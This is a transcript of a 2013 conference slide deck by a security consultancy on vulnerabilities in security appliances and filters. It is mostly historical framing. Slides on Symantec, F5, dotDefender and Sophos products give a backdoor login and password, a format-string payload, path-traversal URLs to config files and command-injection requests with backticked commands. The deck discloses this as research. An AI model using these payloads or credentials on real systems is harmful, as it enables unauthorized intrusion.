Share
Embed
Transcript
42 slides
-
Insecurity Software PHDays 2013 Version: 1.0 Author: Alexander Antukh Responsible:
Alexander Antukh Date: 24.05.2013 Confidentiality: Public -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
Agenda • Introduction • What is Security Software • Historical review • The Question • The Answer • Vuln, where art thou? • Afterword • QA 2 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
SEC Consult – Who we are Canada India Singapore SEC Consult Office SEC Consult Headquarter Other SEC Consult Clients Lithuania Germany Austria Central and Easter Europe • Leading international application security consultancy • Founded 2002 • Headquarters near Vienna, Austria • Delivery Centers in Austria, Germany, Lithuania and Singapore • Strong customer base in Central and Eastern Europe • Increasing customer base of clients with global business (esp. out of Top-10 US and European software vendors) • 35+ application security experts • Industry focus banks, software vendors, government USA 3 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
Alexander Antukh – Whoami • Security consultant • Offensive Security Certified Expert • Defcon Moscow Local Group Coordinator *kidhacker 4 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
Agenda • Introduction • What is Security Software • Historical review • The Question • The Answer • Vuln, where art thou? • Afterword • QA 5 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
What is Security Software “A generic term referring to any computer program or library which purpose is to (help to) secure a computer system or a computer network” 6 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
What is Security Software 7 The keyword in all the security software is… -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
What is Security Software 8 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
What is Security Software 9 In other words, SS is a piece of “anti-evil” software which makes you feel safe and “anti-bad” -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
Agenda • Introduction • What is Security Software • Historical review • The Question • The Answer • Vuln, where art thou? • Afterword • QA 10 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
Historical review Evolution: Packet filter Stateful FW App layer FW First appearance: 1988 First *registered* exploit: 1995 Objective: control network traffic and determine if it’s good enough to pass Firewall 11 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
Historical review First appearance: 1986 First *registered* hack: 1999 Objective: monitor for malicious activities or policy violations (heuristics, signatures...) ID(P)S Ceci n‘est pas un firewall... ü Statistical anomaly-based ü Signature-based 12 ü Passive (detection) ü Reactive (prevention) -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
Historical review AntiSpam evolution: Del First appearance: Monty Python First PoC: 1978 Industrial scale: 1994 - ... CAN-SPAM Act of 2003: spam is legal Keywords Blacklists Auth Protocol analysis Filtering 13 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
14 Historical review First registered hack: 1903 (OSVDB-ID: 79399, 79400) Anti-sniffing “… I did it for the lulz” Today it’s net configuration, encryption and IDS/IPS Nevil Maskelyne -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
15 Historical review First „viruses“: 1971 First viruses: mid-1980s First AVs: mid-1980s (CHK4BOMB, BOMBSQUAD, DRPROTECT) Virus evolution: Benign Destructive $$$$$ Anti-virus -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
16 Historical review AV companies don’t stand still… -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
17 Historical review … neither do other SS products -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
18 Agenda • Introduction • What is Security Software • Historical review • The Question • The Answer • Vuln, where art thou? • Afterward • QA -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
19 The question Do you know anybody less boring? What if the SS is vulnerable itself? -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
20 The answer *sorry for my English -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
21 Déjà vu (slide from PHDays 2012) • Reverse engineering • Checkpoint – Client side remote command execution Multiple Checkpoint appliances CVE-2011-1827 • Fuzzing • F5 Firepass – Remote command execution F5 FirePass SSL VPN – Remote command execution CVE-2012-1777 • Application testing • Microsoft ASP.Net – Authentication bypass Microsoft Security Bulletin MS11-100 - Critical Vulnerabilities in .NET Framework Could Allow Elevation of Privilege (2638420) CVE-2011-3416 Security software products will be the target of the trade ... soon ! -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
22 The time has come! -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
The answer • Symantec Messaging Gateway • Backdoor by design Code execution • F5 BIG-IP • SQL Injection, XXE Passwords… Root access • Applicure dotDefender WAF • Format string vulnerability Code execution • Sophos Web Protection Appliance • LFI, OS Command Injection Command execution, admin account pwn Security software products are the target of the trade ... already! 23 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
The answer “... inbound and outbound messaging security, with effective and accurate real-time antispam and antivirus protection, advanced content filtering, data loss prevention, and email encryption ...“ Symantec Messaging Gateway v.9.5.x SSH?! Remote shell! Login: support MD5: 52e3bbafc627009ac13caff1200a0dbf Password: symantec 24 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
The answer F5 BIG-IP <= 11.2.0 “... from load balancing and service offloading to acceleration and security, the BIG-IP system delivers agility—and ensures your applications are fast, secure, and available ...“ 25 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
The answer “... from load balancing and service offloading to acceleration and security, the BIG-IP system delivers agility—and ensures your applications are fast, secure, and available ...“ sam/admin/reports/php/getSettings.php à 26 F5 BIG-IP <= 11.2.0 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
The answer “... dotDefender is a web application security solution (a Web Application Firewall, or WAF) that offers strong, proactive security for your websites and web applications ...“ Web Attack? 27 AppliCure dotDefender WAF <= 4.26 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
28 The answer • %MAILTO_BLOCK% - email entered in the “Email address for blocked request report” field • %RID% - reference ID • %IP% - server's IP address • %DATE_TIME% - date of blocked request Error page can be configured in different ways: Vars to be added to the body of a custom page: Looks nice… AppliCure dotDefender WAF <= 4.26 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
29 The answer Format string injection • Variables • Buffer • ... • AP_PRINTF() check for format string vulnerabilities … should be <%IP%> Host: … Algorithm: %666d\xBA\xAD\xBE\xEF… AppliCure dotDefender WAF <= 4.26 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
30 The answer “... our award-winning Secure Web Gateway appliances make web protection easy. They are quick to setup, simple to manage and make policy administration a snap, even for non- technical users...“ Sophos Web Protection Appliance <= 3.7.8.1 https://<host>/cgi-bin/patience.cgi?id=.. ?id=../../persist/config/shared.conf%00 ?id=../../log/ui_access_log%00 "https://<host>/index.php? section=configuration&c=configuration&STYLE=8514d0a3c2fc9f8d47e29880767781 53" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0" Passwords! -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
31 The answer ` POST /index.php?c=diagnostic_tools HTTP/1.1 ... action=wget§ion=configuration&STYLE=<validsessid>&url=%60sle ep%205%60 Diagnostic Tools “... our award-winning Secure Web Gateway appliances make web protection easy. They are quick to setup, simple to manage and make policy administration a snap, even for non- technical users...“ Sophos Web Protection Appliance <= 3.7.8.1 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
32 The answer ` https://<host>/end-user/index.php?reason=application&client- ip=%20%60sleep+10%60 Block page (%%user_workstation%%“) “... our award-winning Secure Web Gateway appliances make web protection easy. They are quick to setup, simple to manage and make policy administration a snap, even for non- technical users...“ Sophos Web Protection Appliance <= 3.7.8.1 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
33 The answer POST /index.php?c=local_site_list_editor HTTP/1.1 ... STYLE=<validsessid>&action=save&entries=[{"url"%3a+".'`sleep+10`'", +"range"%3a+"no",+"tld"%3a+"yes",+"valid_range"%3a+"no"}] Local Site List ` “... our award-winning Secure Web Gateway appliances make web protection easy. They are quick to setup, simple to manage and make policy administration a snap, even for non- technical users...“ Sophos Web Protection Appliance <= 3.7.8.1 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
34 The answer Sophos Web Protection Appliance <= 3.7.8.1 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
35 Agenda • Introduction • What is Security Software • Historical review • The Question • The Answer • Vuln, where art thou? • Afterword • QA -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
Vuln, where art thou? • Methods for identifying usable bugs in “Software products” • Applicaton testing and Fuzzing • Reverse engineering • Source code analysis • A short note on so called “security scanning” tools 36 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
Vuln, where art thou? • The workflow for the appliance analysis is pretty simple! • get a virtual appliance demo version • install the appliance • add the .vmdk to another vm and mount it there (or use a linux fs driver that can mount vmdk files) • add a new user to /etc/passwd, or change UID/shell/password of existing users (or maybe change the sudoers file, sshd config) • start the appliance again and log in :) • look at the services that are running (and their configuration) • pwnage ;) 37 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
Vuln, where art thou? *Move two matches to make it three equal squares 38 -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
39 Start me up! Vuln, where art thou? -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
40 Agenda • Introduction • What is Security Software • Historical review • The Question • The Answer • Vuln, where art thou? • Afterword • QA -
© 2013 SEC Consult Unternehmensberatung GmbH – All rights reserved
41 Sometimes it’s easier to find the vulnerability than it might be expected . . . *doesn’t exist yet And now for something completely different